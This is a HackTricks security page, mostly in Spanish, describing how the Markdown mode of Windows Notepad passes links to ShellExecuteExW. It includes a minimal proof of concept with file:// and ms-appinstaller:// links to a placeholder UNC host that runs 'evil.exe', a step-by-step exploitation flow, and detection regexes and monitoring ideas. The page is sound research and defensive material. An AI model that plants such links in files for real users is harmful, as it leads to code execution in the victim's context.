Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Las aplicaciones modernas de Windows que renderizan Markdown/HTML suelen convertir los enlaces suministrados por el usuario en elementos clicables y se los pasan a ShellExecuteExW. Sin una lista de esquemas permitidos estricta, cualquier controlador de protocolo registrado (p. ej., file:, ms-appinstaller:) puede activarse, conduciendo a ejecución de código en el contexto del usuario actual.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad elige el modo Markdown solo para extensiones
.mdmediante una comparación de cadena fija ensub_1400ED5D0(). - Enlaces Markdown soportados:
- Standard:
[text](target) - Autolink:
<target>(renderizado como[target](target)), por lo que ambas sintaxis importan para payloads y detecciones. - Los clics en enlaces se procesan en
sub_140170F60(), que realiza un filtrado débil y luego llama aShellExecuteExW. ShellExecuteExWdespacha a cualquier controlador de protocolo configurado, no solo HTTP(S).
Consideraciones sobre el payload
- Cualquier secuencia
\\en el enlace se normaliza a\antes deShellExecuteExW, lo que afecta la elaboración de rutas UNC/path y la detección. - Los archivos
.mdno están asociados con Notepad por defecto; la víctima aún debe abrir el archivo en Notepad y hacer clic en el enlace, pero una vez renderizado, el enlace es clicable. - Esquemas de ejemplo peligrosos:
file://para lanzar un payload local/UNC.ms-appinstaller://para desencadenar los flujos de App Installer. Otros esquemas registrados localmente también pueden ser abusables.
PoC Markdown mínimo
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Flujo de explotación
- Craft a
.mdfile so Notepad renders it as Markdown. - Embed a link using a dangerous URI scheme (
file:,ms-appinstaller:, or any installed handler). - Deliver the file (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB or similar) and convince the user to open it in Notepad.
- On click, the normalized link is handed to
ShellExecuteExWand the corresponding protocol handler executes the referenced content in the user’s context.
Ideas de detección
- Monitorear transferencias de
.mdfiles a través de puertos/protocolos que comúnmente entregan documentos:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Analizar enlaces Markdown (estándar y autolink) y buscar sin distinguir mayúsculas/minúsculas
file:oms-appinstaller:. - Expresiones regulares recomendadas por el proveedor para detectar acceso a recursos remotos:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Se informa que el parche allowlists local files and HTTP(S); cualquier otra cosa que llegue a
ShellExecuteExWes sospechosa. Extienda las detecciones a otros manejadores de protocolo instalados según sea necesario, ya que la superficie de ataque varía según el sistema.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


